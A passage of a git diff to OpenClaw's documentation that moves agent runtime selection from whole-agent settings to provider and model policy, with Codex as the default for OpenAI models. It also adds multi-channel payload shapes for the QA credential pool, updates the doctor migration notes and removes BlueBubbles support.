`"discord"`, `"slack"`, and `"whatsapp"`. Payload shapes the broker validates on `admin/add`: - Telegram (`kind: "telegram"`): `{ groupId: string, driverToken: string, sutToken: string }` - `groupId` must be a numeric chat-id string. - Discord (`kind: "discord"`): `{ guildId: string, channelId: string, driverBotToken: string, sutBotToken: string, sutApplicationId: string }`. -- Slack (`kind: "slack"`): `{ channelId: string, driverBotToken: string, sutBotToken: string, sutAppToken: string }` - `channelId` must match `^[A-Z][A-Z0-9]+$` (a Slack id like `Cxxxxxxxxxx`). See [Setting up the Slack workspace](#setting-up-the-slack-workspace) for app and scope provisioning. +- WhatsApp (`kind: "whatsapp"`): `{ driverPhoneE164: string, sutPhoneE164: string, driverAuthArchiveBase64: string, sutAuthArchiveBase64: string, groupJid?: string }` - phone numbers must be distinct E.164 strings. -Operational env vars and the Convex broker endpoint contract live in [Testing → Shared Telegram credentials via Convex](/help/testing#shared-telegram-credentials-via-convex-v1) (the section name predates Discord support; the broker semantics are identical for both kinds). +Slack lanes can also use the pool. Slack payload shape checks currently live in the Slack QA runner rather than the broker; use `{ channelId: string, driverBotToken: string, sutBotToken: string, sutAppToken: string }`, with a Slack channel id like `Cxxxxxxxxxx`. See [Setting up the Slack workspace](#setting-up-the-slack-workspace) for app and scope provisioning. + +Operational env vars and the Convex broker endpoint contract live in [Testing → Shared Telegram credentials via Convex](/help/testing#shared-telegram-credentials-via-convex-v1) (the section name predates the multi-channel pool; the lease semantics are shared across kinds). ## Repo-backed seeds diff --git a/docs/docs.json b/docs/docs.json index 46f3b76db01..ec1878c721f 100644 --- a/docs/docs.json +++ b/docs/docs.json @@ -54,7 +54,7 @@ "redirects": [ { "source": "/channels/bluebubbles", - "destination": "/channels/imessage" + "destination": "/channels/imessage-from-bluebubbles" }, { "source": "/install/migrating-matrix", diff --git a/docs/gateway/config-agents.md b/docs/gateway/config-agents.md index ba0cba0d452..11a304df8c3 100644 --- a/docs/gateway/config-agents.md +++ b/docs/gateway/config-agents.md @@ -336,9 +336,6 @@ Time format in system prompt. Default: `auto` (OS preference). fallbacks: ["openai/gpt-5.4-mini"], }, params: { cacheRetention: "long" }, // global default provider params - agentRuntime: { - id: "pi", // pi | auto | registered harness id, e.g. codex - }, pdfMaxBytesMb: 10, pdfMaxPages: 20, thinkingDefault: "low", @@ -398,25 +395,28 @@ Time format in system prompt. Default: `auto` (OS preference). - `params.chat_template_kwargs`: vLLM/OpenAI-compatible chat-template arguments merged into top-level `api: "openai-completions"` request bodies. For `vllm/nemotron-3-*` with thinking off, the bundled vLLM plugin automatically sends `enable_thinking: false` and `force_nonempty_content: true`; explicit `chat_template_kwargs` override generated defaults, and `extra_body.chat_template_kwargs` still has final precedence. For vLLM Qwen thinking controls, set `params.qwenThinkingFormat` to `"chat-template"` or `"top-level"` on that model entry. - `compat.supportedReasoningEfforts`: per-model OpenAI-compatible reasoning effort list. Include `"xhigh"` for custom endpoints that truly accept it; OpenClaw then exposes `/think xhigh` in command menus, Gateway session rows, session patch validation, agent CLI validation, and `llm-task` validation for that configured provider/model. Use `compat.reasoningEffortMap` when the backend wants a provider-specific value for a canonical level. - `params.preserveThinking`: Z.AI-only opt-in for preserved thinking. When enabled and thinking is on, OpenClaw sends `thinking.clear_thinking: false` and replays prior `reasoning_content`; see [Z.AI thinking and preserved thinking](/providers/zai#thinking-and-preserved-thinking). -- `agentRuntime`: default low-level agent runtime policy. Omitted id defaults to OpenClaw Pi. Use `id: "pi"` to force the built-in PI harness, `id: "auto"` to let registered plugin harnesses claim supported models and use PI when none match, a registered harness id such as `id: "codex"` to require that harness, or a supported CLI backend alias such as `id: "claude-cli"`. Explicit plugin runtimes fail closed when the harness is unavailable or fails. Keep model refs canonical as `provider/model`; select Codex, Claude CLI, Gemini CLI, and other execution backends through runtime config instead of legacy runtime provider prefixes. See [Agent runtimes](/concepts/agent-runtimes) for how this differs from provider/model selection. +- Runtime policy belongs on providers or models, not on `agents.defaults`. Use `models.providers..agentRuntime` for provider-wide rules or `agents.defaults.models["provider/model"].agentRuntime` / `agents.list[].models["provider/model"].agentRuntime` for model-specific rules. OpenAI agent models on the official OpenAI provider select Codex by default. - Config writers that mutate these fields (for example `/models set`, `/models set-image`, and fallback add/remove commands) save canonical object form and preserve existing fallback lists when possible. - `maxConcurrent`: max parallel agent runs across sessions (each session still serialized). Default: 4. -### `agents.defaults.agentRuntime` - -`agentRuntime` controls which low-level executor runs agent turns. Most -deployments should keep the default OpenClaw Pi runtime. Use it when a trusted -plugin provides a native harness, such as the bundled Codex app-server harness, -or when you want a supported CLI backend such as Claude CLI. For the mental -model, see [Agent runtimes](/concepts/agent-runtimes). +### Runtime policy ```json5 { + models: { + providers: { + openai: { + agentRuntime: { id: "codex" }, + }, + }, + }, agents: { defaults: { model: "openai/gpt-5.5", - agentRuntime: { - id: "codex", + models: { + "anthropic/claude-opus-4-7": { + agentRuntime: { id: "claude-cli" }, + }, }, }, }, @@ -425,11 +425,9 @@ model, see [Agent runtimes](/concepts/agent-runtimes). - `id`: `"auto"`, `"pi"`, a registered plugin harness id, or a supported CLI backend alias. The bundled Codex plugin registers `codex`; the bundled Anthropic plugin provides the `claude-cli` CLI backend. - `id: "auto"` lets registered plugin harnesses claim supported turns and uses PI when no harness matches. An explicit plugin runtime such as `id: "codex"` requires that harness and fails closed if it is unavailable or fails. -- Environment override: `OPENCLAW_AGENT_RUNTIME=` overrides `id` for that process. -- OpenAI agent models use the Codex harness by default; `agentRuntime.id: "codex"` remains valid when you want to make that explicit. -- For Claude CLI deployments, prefer `model: "anthropic/claude-opus-4-7"` plus `agentRuntime.id: "claude-cli"`. Legacy `claude-cli/claude-opus-4-7` model refs still work for compatibility, but new config should keep provider/model selection canonical and put the execution backend in `agentRuntime.id`. -- Older runtime-policy keys are rewritten to `agentRuntime` by `openclaw doctor --fix`. -- Harness choice is pinned per session id after the first embedded run. Config/env changes affect new or reset sessions, not an existing transcript. Legacy OpenAI sessions with transcript history but no recorded pin use Codex; stale OpenAI PI pins can be repaired with `openclaw doctor --fix`. `/status` reports the effective runtime, for example `Runtime: OpenClaw Pi Default` or `Runtime: OpenAI Codex`. +- Whole-agent runtime keys are legacy. `agents.defaults.agentRuntime`, `agents.list[].agentRuntime`, session runtime pins, and `OPENCLAW_AGENT_RUNTIME` are ignored by runtime selection. Run `openclaw doctor --fix` to remove stale values. +- OpenAI agent models use the Codex harness by default; provider/model `agentRuntime.id: "codex"` remains valid when you want to make that explicit. +- For Claude CLI deployments, prefer `model: "anthropic/claude-opus-4-7"` plus model-scoped `agentRuntime.id: "claude-cli"`. Legacy `claude-cli/claude-opus-4-7` model refs still work for compatibility, but new config should keep provider/model selection canonical and put the execution backend in provider/model runtime policy. - This only controls text agent-turn execution. Media generation, vision, PDF, music, video, and TTS still use their provider/model settings. **Built-in alias shorthands** (only apply when the model is in `agents.defaults.models`): @@ -959,7 +957,6 @@ for provider examples and precedence. thinkingDefault: "high", // per-agent thinking level override reasoningDefault: "on", // per-agent reasoning visibility override fastModeDefault: false, // per-agent fast mode override - agentRuntime: { id: "auto" }, params: { cacheRetention: "none" }, // overrides matching defaults.models params by key tts: { providers: { @@ -1006,7 +1003,7 @@ for provider examples and precedence. - `thinkingDefault`: optional per-agent default thinking level (`off | minimal | low | medium | high | xhigh | adaptive | max`). Overrides `agents.defaults.thinkingDefault` for this agent when no per-message or session override is set. The selected provider/model profile controls which values are valid; for Google Gemini, `adaptive` keeps provider-owned dynamic thinking (`thinkingLevel` omitted on Gemini 3/3.1, `thinkingBudget: -1` on Gemini 2.5). - `reasoningDefault`: optional per-agent default reasoning visibility (`on | off | stream`). Overrides `agents.defaults.reasoningDefault` for this agent when no per-message or session reasoning override is set. - `fastModeDefault`: optional per-agent default for fast mode (`true | false`). Applies when no per-message or session fast-mode override is set. -- `agentRuntime`: optional per-agent low-level runtime policy override. Use `{ id: "codex" }` to make one agent Codex-only while other agents keep the default PI fallback in `auto` mode. +- `models`: optional per-agent model catalog/runtime overrides keyed by full `provider/model` ids. Use `models["provider/model"].agentRuntime` for per-agent runtime exceptions. - `runtime`: optional per-agent runtime descriptor. Use `type: "acp"` with `runtime.acp` defaults (`agent`, `backend`, `mode`, `cwd`) when the agent should default to ACP harness sessions. - `identity.avatar`: workspace-relative path, `http(s)` URL, or `data:` URI. - `identity` derives defaults: `ackReaction` from `emoji`, `mentionPatterns` from `name`/`emoji`. diff --git a/docs/gateway/config-channels.md b/docs/gateway/config-channels.md index 6ba1dabdf4e..ff128a86502 100644 --- a/docs/gateway/config-channels.md +++ b/docs/gateway/config-channels.md @@ -585,7 +585,7 @@ When Mattermost native commands are enabled: OpenClaw spawns `imsg rpc` (JSON-RPC over stdio). No daemon or port required. This is the preferred path for new OpenClaw iMessage setups when the host can grant Messages database and Automation permissions. -BlueBubbles is deprecated and no longer ships as a bundled OpenClaw channel. Migrate `channels.bluebubbles` configs to `channels.imessage`; third-party BlueBubbles bridges belong outside core. +BlueBubbles support was removed. Migrate `channels.bluebubbles` configs to `channels.imessage`; OpenClaw supports iMessage through `imsg` only. If the Gateway is not running on the signed-in Messages Mac, keep `channels.imessage.enabled=true` and set `channels.imessage.cliPath` to an SSH wrapper that runs `imsg "$@"` on that Mac. The default local `imsg` path is macOS-only. diff --git a/docs/gateway/doctor.md b/docs/gateway/doctor.md index fa89914bf1d..a9b261d8ee3 100644 --- a/docs/gateway/doctor.md +++ b/docs/gateway/doctor.md @@ -87,7 +87,7 @@ cat ~/.openclaw/openclaw.json - Legacy on-disk state migration (sessions/agent dir/WhatsApp auth). - Legacy plugin manifest contract key migration (`speechProviders`, `realtimeTranscriptionProviders`, `realtimeVoiceProviders`, `mediaUnderstandingProviders`, `imageGenerationProviders`, `videoGenerationProviders`, `webFetchProviders`, `webSearchProviders` → `contracts`). - Legacy cron store migration (`jobId`, `schedule.cron`, top-level delivery/payload fields, payload `provider`, simple `notify: true` webhook fallback jobs). - - Legacy agent runtime-policy migration to `agents.defaults.agentRuntime` and `agents.list[].agentRuntime`. + - Legacy whole-agent runtime-policy cleanup; provider/model runtime policy is the active route selector. - Stale plugin config cleanup when plugins are enabled; when `plugins.enabled=false`, stale plugin references are treated as inert containment config and are preserved. @@ -109,7 +109,7 @@ cat ~/.openclaw/openclaw.json - Channel status warnings (probed from the running gateway). - Channel-specific permission checks live under `openclaw channels capabilities`; for example, Discord voice channel permissions are audited with `openclaw channels capabilities --channel discord --target channel:`. - WhatsApp responsiveness checks for degraded Gateway event-loop health with local TUI clients still running; `--fix` stops only verified local TUI clients. - - Codex route repair for legacy `openai-codex/*` model refs in primary models, fallbacks, heartbeat/subagent/compaction overrides, hooks, channel model overrides, and session route pins; `--fix` rewrites them to `openai/*` and selects `agentRuntime.id: "codex"` only when the Codex plugin is installed, enabled, contributes the `codex` harness, and has usable OAuth. Otherwise it selects `agentRuntime.id: "pi"`. + - Codex route repair for legacy `openai-codex/*` model refs in primary models, fallbacks, heartbeat/subagent/compaction overrides, hooks, channel model overrides, and session route pins; `--fix` rewrites them to `openai/*`, removes stale session/whole-agent runtime pins, and leaves canonical OpenAI agent refs on the default Codex harness. - Supervisor config audit (launchd/systemd/schtasks) with optional repair. - Embedded proxy environment cleanup for gateway services that captured shell `HTTP_PROXY` / `HTTPS_PROXY` / `NO_PROXY` values during install or update. - Gateway runtime best-practice checks (Node vs Bun, version-manager paths). @@ -269,8 +269,8 @@ That stages grounded durable candidates into the short-term dreaming store while In `--fix` / `--repair` mode, doctor rewrites affected default-agent and per-agent refs, including primary models, fallbacks, heartbeat/subagent/compaction overrides, hooks, channel model overrides, and stale persisted session route state: - `openai-codex/gpt-*` becomes `openai/gpt-*`. - - The matching agent runtime becomes `agentRuntime.id: "codex"` only when Codex is installed, enabled, contributes the `codex` harness, and has usable OAuth. - - Otherwise the matching agent runtime becomes `agentRuntime.id: "pi"`. + - Stale whole-agent runtime config and persisted session runtime pins are removed because runtime selection is provider/model-scoped. + - Explicit provider/model runtime policy is preserved. - Existing model fallback lists are preserved with their legacy entries rewritten; copied per-model settings move from the legacy key to the canonical `openai/*` key. - Persisted session `modelProvider`/`providerOverride`, `model`/`modelOverride`, fallback notices, auth-profile pins, and Codex harness pins are repaired across all discovered agent session stores. - `/codex ...` means "control or bind a native Codex conversation from chat." diff --git a/docs/help/faq-first-run.md b/docs/help/faq-first-run.md index 6b9c4bc1549..964f0875f2f 100644 --- a/docs/help/faq-first-run.md +++ b/docs/help/faq-first-run.md @@ -594,12 +594,11 @@ and troubleshooting see the main [FAQ](/help/faq). OpenClaw supports **OpenAI Code (Codex)** via OAuth (ChatGPT sign-in). Use - `openai/gpt-5.5` with `agentRuntime.id: "codex"` for the common setup: - ChatGPT/Codex subscription auth plus native Codex app-server execution. Use - `openai-codex/gpt-5.5` only when you want Codex OAuth through the default - Codex runtime. Direct OpenAI API-key access remains available for non-agent - OpenAI API surfaces and for agent models through an ordered - `openai-codex` API-key profile. + `openai/gpt-5.5` for the common setup: ChatGPT/Codex subscription auth plus + native Codex app-server execution. `openai-codex/gpt-*` model refs are + legacy config repaired by `openclaw doctor --fix`. Direct OpenAI API-key + access remains available for non-agent OpenAI API surfaces and for agent + models through an ordered `openai-codex` API-key profile. See [Model providers](/concepts/model-providers) and [Onboarding (CLI)](/start/wizard). diff --git a/docs/help/faq-models.md b/docs/help/faq-models.md index cabca743fcf..acc33389592 100644 --- a/docs/help/faq-models.md +++ b/docs/help/faq-models.md @@ -150,7 +150,7 @@ troubleshooting, see the main [FAQ](/help/faq). - **Native Codex coding agent:** set `agents.defaults.model.primary` to `openai/gpt-5.5`. Sign in with `openclaw models auth login --provider openai-codex` when you want ChatGPT/Codex subscription auth. - **Direct OpenAI API tasks outside the agent loop:** configure `OPENAI_API_KEY` for images, embeddings, speech, realtime, and other non-agent OpenAI API surfaces. - **OpenAI agent API-key auth:** use `/model openai/gpt-5.5` with an ordered `openai-codex` API-key profile. - - **Sub-agents:** route coding tasks to a Codex-only agent with its own model and `agentRuntime` default. + - **Sub-agents:** route coding tasks to a Codex-focused agent with its own `openai/gpt-5.5` model. See [Models](/concepts/models) and [Slash commands](/tools/slash-commands). diff --git a/docs/help/testing-live.md b/docs/help/testing-live.md index 2314854a362..fd17c6faa69 100644 --- a/docs/help/testing-live.md +++ b/docs/help/testing-live.md @@ -285,8 +285,8 @@ Docker notes: - Goal: validate the plugin-owned Codex harness through the normal gateway `agent` method: - load the bundled `codex` plugin - - select `OPENCLAW_AGENT_RUNTIME=codex` - - send a first gateway agent turn to `openai/gpt-5.5` with the Codex harness forced + - select `openai/gpt-5.5`, which routes OpenAI agent turns through Codex by default + - send a first gateway agent turn to `openai/gpt-5.5` with the Codex harness selected - send a second turn to the same OpenClaw session and verify the app-server thread can resume - run `/codex status` and `/codex models` through the same gateway command @@ -300,8 +300,8 @@ Docker notes: - Optional image probe: `OPENCLAW_LIVE_CODEX_HARNESS_IMAGE_PROBE=1` - Optional MCP/tool probe: `OPENCLAW_LIVE_CODEX_HARNESS_MCP_PROBE=1` - Optional Guardian probe: `OPENCLAW_LIVE_CODEX_HARNESS_GUARDIAN_PROBE=1` -- The smoke uses `agentRuntime.id: "codex"` so a broken Codex harness cannot - pass by silently falling back to PI. +- The smoke forces provider/model `agentRuntime.id: "codex"` so a broken Codex + harness cannot pass by silently falling back to PI. - Auth: Codex app-server auth from the local Codex subscription login. Docker smokes can also provide `OPENAI_API_KEY` for non-Codex probes when applicable, plus optional copied `~/.codex/auth.json` and `~/.codex/config.toml`. diff --git a/docs/help/testing.md b/docs/help/testing.md index fa0280b8309..9c5df8fe205 100644 --- a/docs/help/testing.md +++ b/docs/help/testing.md @@ -322,8 +322,9 @@ Live transport lanes share one standard contract so new transports do not drift; ### Shared Telegram credentials via Convex (v1) When `--credential-source convex` (or `OPENCLAW_QA_CREDENTIAL_SOURCE=convex`) is enabled for -`openclaw qa telegram`, QA lab acquires an exclusive lease from a Convex-backed pool, heartbeats -that lease while the lane is running, and releases the lease on shutdown. +live transport QA, QA lab acquires an exclusive lease from a Convex-backed pool, heartbeats that +lease while the lane is running, and releases the lease on shutdown. The section name predates +Discord, Slack, and WhatsApp support; the lease contract is shared across kinds. Reference Convex project scaffold: @@ -397,6 +398,16 @@ Payload shape for Telegram kind: - `groupId` must be a numeric Telegram chat id string. - `admin/add` validates this shape for `kind: "telegram"` and rejects malformed payloads. +Broker-validated multi-channel payloads: + +- Discord: `{ guildId: string, channelId: string, driverBotToken: string, sutBotToken: string, sutApplicationId: string, voiceChannelId?: string }` +- WhatsApp: `{ driverPhoneE164: string, sutPhoneE164: string, driverAuthArchiveBase64: string, sutAuthArchiveBase64: string, groupJid?: string }` + +Slack lanes can also lease from the pool, but Slack payload validation currently +lives in the Slack QA runner rather than the broker. Use +`{ channelId: string, driverBotToken: string, sutBotToken: string, sutAppToken: string }` +for Slack rows. + ### Adding a channel to QA The architecture and scenario-helper names for new channel adapters live in [QA overview → Adding a channel](/concepts/qa-e2e-automation#adding-a-channel). The minimum bar: implement the transport runner on the shared `qa-lab` host seam, declare `qaRunners` in the plugin manifest, mount as `openclaw qa `, and author scenarios under `qa/scenarios/`. diff --git a/docs/install/docker.md b/docs/install/docker.md index 6862f845565..0bd131ad5d8 100644 --- a/docs/install/docker.md +++ b/docs/install/docker.md @@ -427,8 +427,7 @@ See [ClawDock](/install/clawdock) for the full helper guide. - The main Docker runtime image uses `node:24-bookworm-slim` and publishes OCI - base-image annotations including `org.opencontainers.image.base.name`, + The main Docker runtime image uses `node:24-bookworm-slim` and includes `tini` as the entrypoint init process (PID 1) to ensure zombie processes are reaped and signals are handled correctly in long-running containers. It publishes OCI base-image annotations including `org.opencontainers.image.base.name`, `org.opencontainers.image.source`, and others. The Node base digest is refreshed through Dependabot Docker base-image PRs; release builds do not run a distro upgrade layer. See diff --git a/docs/install/fly.md b/docs/install/fly.md index 4dfa083d74d..b88e810a785 100644 --- a/docs/install/fly.md +++ b/docs/install/fly.md @@ -78,6 +78,8 @@ read_when: destination = "/data" ``` + The OpenClaw Docker image uses `tini` as its entrypoint. Fly process commands replace Docker `CMD` without replacing `ENTRYPOINT`, so the process still runs under `tini`. + **Key settings:** | Setting | Why | diff --git a/docs/plugins/codex-computer-use.md b/docs/plugins/codex-computer-use.md index 08127ad5a9b..1395246be86 100644 --- a/docs/plugins/codex-computer-use.md +++ b/docs/plugins/codex-computer-use.md @@ -96,9 +96,6 @@ Computer Use available before a thread starts: agents: { defaults: { model: "openai/gpt-5.5", - agentRuntime: { - id: "codex", - }, }, }, } @@ -114,9 +111,8 @@ register the bundled Codex marketplace from fails. If setup still cannot make the MCP server available, the turn fails before the thread starts. -Existing sessions keep their runtime and Codex thread binding. After changing -`agentRuntime` or Computer Use config, use `/new` or `/reset` in the affected -chat before testing. +After changing Computer Use config, use `/new` or `/reset` in the affected chat +before testing if an existing Codex thread has already started. ## Commands diff --git a/docs/plugins/codex-harness.md b/docs/plugins/codex-harness.md index a000773b38a..f96c6c458ee 100644 --- a/docs/plugins/codex-harness.md +++ b/docs/plugins/codex-harness.md @@ -50,7 +50,8 @@ First sign in with Codex OAuth if you have not already: openclaw models auth login --provider openai-codex ``` -Then enable the bundled `codex` plugin and force the Codex runtime: +Then enable the bundled `codex` plugin and use the canonical OpenAI model ref. +OpenAI agent turns select the Codex runtime by default: ```json5 { @@ -64,9 +65,6 @@ Then enable the bundled `codex` plugin and force the Codex runtime: agents: { defaults: { model: "openai/gpt-5.5", - agentRuntime: { - id: "codex", - }, }, }, } @@ -98,7 +96,7 @@ The bundled `codex` plugin contributes several separate capabilities: | Capability | How you use it | What it does | | --------------------------------- | --------------------------------------------------- | ----------------------------------------------------------------------------- | -| Native embedded runtime | `agentRuntime.id: "codex"` | Runs OpenClaw embedded agent turns through Codex app-server. | +| Native embedded runtime | `openai/gpt-*` agent model refs | Runs OpenClaw embedded agent turns through Codex app-server. | | Native chat-control commands | `/codex bind`, `/codex resume`, `/codex steer`, ... | Binds and controls Codex app-server threads from a messaging conversation. | | Codex app-server provider/catalog | `codex` internals, surfaced through the harness | Lets the runtime discover and validate app-server models. | | Codex media-understanding path | `codex/*` image-model compatibility paths | Runs bounded Codex app-server turns for supported image understanding models. | @@ -110,7 +108,7 @@ Enabling the plugin makes those capabilities available. It does **not**: realtime - convert `openai-codex/*` model refs without `openclaw doctor --fix` - make ACP/acpx the default Codex path -- hot-switch existing sessions that already recorded a PI runtime +- use stale whole-agent or session runtime pins for routing - replace OpenClaw channel delivery, session files, auth-profile storage, or message routing @@ -141,35 +139,37 @@ For the plugin hook semantics themselves, see [Plugin hooks](/plugins/hooks) and [Plugin guard behavior](/tools/plugin). OpenAI agent model refs use the harness by default. New configs should keep -OpenAI model refs canonical as `openai/gpt-*`; `agentRuntime.id: "codex"` is -still valid but no longer required for OpenAI agent turns. Legacy `codex/*` -model refs still auto-select the harness for compatibility, but +OpenAI model refs canonical as `openai/gpt-*`; provider/model +`agentRuntime.id: "codex"` is still valid but no longer required for OpenAI +agent turns. Legacy `codex/*` model refs still auto-select the harness for +compatibility, but runtime-backed legacy provider prefixes are not shown as normal model/provider choices. If any configured model route is still `openai-codex/*`, `openclaw doctor --fix` -rewrites it to `openai/*`. For matching agent routes, it sets the agent runtime -to `codex` and preserves existing `openai-codex` auth profile overrides. +rewrites it to `openai/*` and preserves existing `openai-codex` auth profile +overrides. It does not pin the whole agent to `agentRuntime.id: "codex"` because +canonical OpenAI refs already select the Codex harness automatically. ## Route map Use this table before changing config: -| Desired behavior | Model ref | Runtime config | Auth/profile route | Expected status label | -| ---------------------------------------------------- | -------------------------- | -------------------------------------- | ------------------------------ | ---------------------------- | -| ChatGPT/Codex subscription with native Codex runtime | `openai/gpt-*` | omitted or `agentRuntime.id: "codex"` | Codex OAuth or Codex account | `Runtime: OpenAI Codex` | -| OpenAI API-key auth for agent models | `openai/gpt-*` | omitted or `agentRuntime.id: "codex"` | `openai-codex` API-key profile | `Runtime: OpenAI Codex` | -| Legacy config that needs doctor repair | `openai-codex/gpt-*` | repaired to `codex` | Existing configured auth | Recheck after `doctor --fix` | -| Mixed providers with conservative auto mode | provider-specific refs | `agentRuntime.id: "auto"` | Per selected provider | Depends on selected runtime | -| Explicit Codex ACP adapter session | ACP prompt/model dependent | `sessions_spawn` with `runtime: "acp"` | ACP backend auth | ACP task/session status | +| Desired behavior | Model ref | Runtime config | Auth/profile route | Expected status label | +| ---------------------------------------------------- | -------------------------- | -------------------------------------------------------- | ------------------------------ | ---------------------------- | +| ChatGPT/Codex subscription with native Codex runtime | `openai/gpt-*` | omitted or provider/model `agentRuntime.id: "codex"` | Codex OAuth or Codex account | `Runtime: OpenAI Codex` | +| OpenAI API-key auth for agent models | `openai/gpt-*` | omitted or provider/model `agentRuntime.id: "codex"` | `openai-codex` API-key profile | `Runtime: OpenAI Codex` | +| Legacy config that needs doctor repair | `openai-codex/gpt-*` | preserved or automatic | Existing configured auth | Recheck after `doctor --fix` | +| Mixed providers with conservative auto mode | provider-specific refs | omitted unless a provider/model needs a runtime override | Per selected provider | Depends on selected runtime | +| Explicit Codex ACP adapter session | ACP prompt/model dependent | `sessions_spawn` with `runtime: "acp"` | ACP backend auth | ACP task/session status | The important split is provider versus runtime: - `openai-codex/*` is a legacy route that doctor rewrites. -- `agentRuntime.id: "codex"` requires the Codex harness and fails closed if it - is unavailable. -- `agentRuntime.id: "auto"` lets registered harnesses claim matching provider - routes; OpenAI agent refs resolve to Codex instead of PI. +- Provider/model `agentRuntime.id: "codex"` requires the Codex harness and fails + closed if it is unavailable. +- Provider/model `agentRuntime.id: "auto"` lets registered harnesses claim + matching provider routes; OpenAI agent refs resolve to Codex instead of PI. - `/codex ...` answers "which native Codex conversation should this chat bind or control?" - ACP answers "which external harness process should acpx launch?" @@ -188,13 +188,14 @@ Treat `openai-codex/*` as legacy config that doctor should rewrite: GPT-5.5 can appear on both direct OpenAI API-key and Codex subscription routes when your account exposes them. Use `openai/gpt-5.5` with the Codex app-server -harness for native Codex runtime, or `openai/gpt-5.5` without a Codex runtime -override for direct API-key traffic. +harness for native Codex runtime. For direct API-key traffic through PI, opt in +with provider/model `agentRuntime.id: "pi"` and a normal `openai` auth profile. Legacy `codex/gpt-*` refs remain accepted as compatibility aliases. Doctor compatibility migration rewrites legacy runtime refs to canonical model refs and records the runtime policy separately. New native app-server harness configs -should use `openai/gpt-*` plus `agentRuntime.id: "codex"`. +should use `openai/gpt-*`; explicit provider/model `agentRuntime.id: "codex"` +is only needed when you want the policy written down. `agents.defaults.imageModel` follows the same prefix split. Use `openai/gpt-*` for the normal OpenAI route and `codex/gpt-*` when image @@ -213,27 +214,13 @@ in `auto` mode, each plugin candidate's support result. `openclaw doctor` warns when configured model refs or persisted session route state still use `openai-codex/*`. `openclaw doctor --fix` rewrites those routes -to: +to `openai/`. Canonical OpenAI agent refs already select the native Codex +harness, so doctor does not pin the whole agent to Codex. -- `openai/` -- `agentRuntime.id: "codex"` - -The `codex` route forces the native Codex harness. PI runtime config is not -allowed for OpenAI agent model turns. -Doctor also repairs stale persisted session pins across discovered agent session -stores so old conversations do not stay wedged on the removed route. - -Harness selection is not a live session control. When an embedded turn runs, -OpenClaw records the selected harness id on that session and keeps using it for -later turns in the same session id. Change `agentRuntime` config or -`OPENCLAW_AGENT_RUNTIME` when you want future sessions to use another harness; -use `/new` or `/reset` to start a fresh session before switching an existing -conversation between PI and Codex. This avoids replaying one transcript through -two incompatible native session systems. - -Legacy sessions created before harness pins are treated as PI-pinned once they -have transcript history. Use `/new` or `/reset` to opt that conversation into -Codex after changing config. +Whole-session and whole-agent runtime pins are legacy state. Runtime selection +now comes from provider/model policy; `openclaw doctor --fix` removes stale +session pins and old whole-agent runtime config so they do not mask the selected +provider/model route. `/status` shows the effective model runtime. The default PI harness appears as `Runtime: OpenClaw Pi Default`, and the Codex app-server harness appears as @@ -274,22 +261,21 @@ Codex behavior-shaping lane without duplicating `AGENTS.md`. ## Add Codex alongside other models -Do not set `agentRuntime.id: "codex"` globally if the same agent should freely switch -between Codex and non-Codex provider models. A forced runtime applies to every -embedded turn for that agent or session. If you select an Anthropic model while -that runtime is forced, OpenClaw still tries the Codex harness and fails closed -instead of silently routing that turn through PI. +Do not set a whole-agent runtime. Whole-agent runtime pins are legacy and +ignored, and they were the source of mixed-provider traps after upgrades. Keep +runtime policy on the provider or model that needs it. Use one of these shapes instead: -- Put Codex on a dedicated agent with `agentRuntime.id: "codex"`. -- Keep the default agent on `agentRuntime.id: "auto"` and PI fallback for normal mixed - provider usage. +- Use `openai/gpt-*` for OpenAI agent turns; Codex is selected by default. +- Put runtime overrides on `models.providers..agentRuntime` or on a + model entry such as `agents.defaults.models["anthropic/claude-opus-4-7"].agentRuntime`. - Use legacy `codex/*` refs only for compatibility. New configs should prefer - `openai/*` plus an explicit Codex runtime policy. + `openai/*`; add an explicit Codex runtime policy only when you need to make + the provider/model rule strict. -For example, this keeps the default agent on normal automatic selection and -adds a separate Codex agent: +For example, this keeps mixed-provider routing ergonomic while using OpenAI +through Codex by default and Claude through PI: ```json5 { @@ -302,9 +288,7 @@ adds a separate Codex agent: }, agents: { defaults: { - agentRuntime: { - id: "auto", - }, + model: "anthropic/claude-opus-4-6", }, list: [ { @@ -316,9 +300,6 @@ adds a separate Codex agent: id: "codex", name: "Codex", model: "openai/gpt-5.5", - agentRuntime: { - id: "codex", - }, }, ], }, @@ -355,45 +336,36 @@ routing. ## Codex-only deployments -Force the Codex harness when you need to prove that every embedded agent turn -uses Codex. Explicit plugin runtimes fail closed and are never silently retried -through PI: +For OpenAI agent turns, `openai/gpt-*` already resolves to Codex. If you need a +strict written policy, put it on the OpenAI provider or model. Explicit plugin +runtimes fail closed and are never silently retried through PI: ```json5 { - agents: { - defaults: { - model: "openai/gpt-5.5", - agentRuntime: { - id: "codex", + models: { + providers: { + openai: { + agentRuntime: { + id: "codex", + }, }, }, }, + agents: { defaults: { model: "openai/gpt-5.5" } }, } ``` -Environment override: - -```bash -OPENCLAW_AGENT_RUNTIME=codex openclaw gateway run -``` - With Codex forced, OpenClaw fails early if the Codex plugin is disabled, the app-server is too old, or the app-server cannot start. ## Per-agent Codex -You can make one agent Codex-only while the default agent keeps normal -auto-selection: +You can make one agent Codex-strict while the default agent keeps normal +selection by using a per-agent model runtime override: ```json5 { agents: { - defaults: { - agentRuntime: { - id: "auto", - }, - }, list: [ { id: "main", @@ -404,8 +376,12 @@ auto-selection: id: "codex", name: "Codex", model: "openai/gpt-5.5", - agentRuntime: { - id: "codex", + models: { + "openai/gpt-5.5": { + agentRuntime: { + id: "codex", + }, + }, }, }, ], @@ -827,9 +803,6 @@ Minimal config: agents: { defaults: { model: "openai/gpt-5.5", - agentRuntime: { - id: "codex", - }, }, }, } @@ -876,12 +849,18 @@ Codex-only harness validation: ```json5 { + models: { + providers: { + openai: { + agentRuntime: { + id: "codex", + }, + }, + }, + }, agents: { defaults: { model: "openai/gpt-5.5", - agentRuntime: { - id: "codex", - }, }, }, plugins: { @@ -1185,16 +1164,16 @@ understanding continue to use the matching provider/model settings such as ## Troubleshooting **Codex does not appear as a normal `/model` provider:** that is expected for -new configs. Select an `openai/gpt-*` model with -`agentRuntime.id: "codex"` (or a legacy `codex/*` ref), enable +new configs. Select an `openai/gpt-*` model, enable `plugins.entries.codex.enabled`, and check whether `plugins.allow` excludes -`codex`. +`codex`. Legacy `codex/*` refs remain compatibility aliases, not normal model +provider choices. -**OpenClaw uses PI instead of Codex:** `agentRuntime.id: "auto"` can still use PI as the -compatibility backend when no Codex harness claims the run. Set -`agentRuntime.id: "codex"` to force Codex selection while testing. A -forced Codex runtime fails instead of falling back to PI. Once Codex app-server -is selected, its failures surface directly. 